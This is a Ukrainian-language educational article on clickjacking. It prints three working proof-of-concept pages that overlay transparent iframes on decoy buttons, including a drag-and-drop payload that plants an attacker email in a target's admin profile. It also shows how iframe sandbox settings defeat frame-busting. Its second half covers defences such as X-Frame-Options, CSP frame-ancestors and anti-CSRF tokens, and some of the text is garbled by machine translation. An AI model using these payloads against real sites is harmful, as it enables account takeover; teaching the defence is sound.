Стаття присвячена темі Clickjacking. У ній обговорюється, що така атака clickjacking як вона працює і які можуть бути наслідки для користувачів. Атака clickjacking полягає в обмані користувача, змушуючи його клацнути по елементу веб-сторінки, який або невидимий, або маскується під інший елемент.
Дисклеймер: Ця стаття створена з ознайомлювальною метою. У ній описано, як працює клікджекінг, щоб показати, як зловмисники можуть використовувати цей метод, і допомогти читачам зрозуміти, як захиститися від подібних атак.
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/[email protected]"></iframe>
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '[email protected]')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
Сценарії, що виконуються на стороні клієнта, можуть виконувати дії для запобігання Clickjacking:
Переконайтеся, що вікно програми є головним або верхнім вікном.
Зробити всі кадри видимими.
Запобігання натисканням на невидимі рамки.
Виявлення й попередження користувачів про можливі спроби Clickjacking.
Параметри безпеки веб-переглядачів: деякі веб-переглядачі можуть блокувати ці сценарії через налаштування безпеки або відсутність підтримки JavaScript
Атрибут iframe HTML5 sandbox: зловмисник може нейтралізувати сценарії блокування фреймів, установивши для sandboxатрибута значення allow-formsабо allow-scriptsзначення без нього allow-top-navigation. Це не дозволяє iframe перевіряти, чи це верхнє вікно, наприклад,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
allow-formsand allow-scriptsдозволяють виконувати дії в iframe, вимикаючи навігацію верхнього рівня. Щоб забезпечити належну функціональність цільового сайту, залежно від типу атаки можуть знадобитися додаткові дозволи, такі як allow-same-originі . allow-modalsПовідомлення консолі браузера можуть вказувати, які дозволи надати.X-Frame-Optionsвідповіді HTTP інформує браузери про легітимність відтворення сторінки в <frame>або <iframe>, допомагаючи запобігти Clickjacking:X-Frame-Options: deny- Жоден домен не може обрамляти вміст.
X-Frame-Options: sameorigin- Лише поточний сайт може обрамляти вміст.
X-Frame-Options: allow-from https://trusted.com- Лише вказаний ‘uri’ може обрамляти сторінку.
Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери віддають перевагу директиві CSP frame-ancestors.
frame-ancestorsдиректива в CSP є рекомендованим методом захисту від Clickjacking:
frame-ancestors ‘none’- Схожий на X-Frame-Options: deny.
frame-ancestors ‘self’- Схожий на X-Frame-Options: sameorigin.
frame-ancestors trusted.com- Схожий на X-Frame-Options: allow-from.
Content-Security-Policy: frame-ancestors 'self';
child-srcіframe-srcframe-srcДирективаВизначає дійсні джерела для кадрів.
Конкретніше, ніж default-srcдиректива.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
child-srcДирективаПредставлено на рівні 2 CSP для встановлення дійсних джерел для веб-воркерів і фреймів.
Діє як запасний варіант для frame-src і worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Застаріле: дочірній-src поступово припиняється на користь frame-src і worker-src.
Резервна поведінка: якщо frame-src відсутній, child-src використовується як резервний варіант для кадрів. Якщо обидва відсутні, використовується default-src.
Суворе визначення джерела: включайте в директиви лише надійні джерела, щоб запобігти використанню.
if (top !== self) {
top.location = self.location;
}
Перевірка маркерів. Використовуйте анти-CSRF-токени у веб-додатках, щоб переконатися, що запити на зміну стану навмисно надсилаються користувачем, а не через сторінку Clickjacked.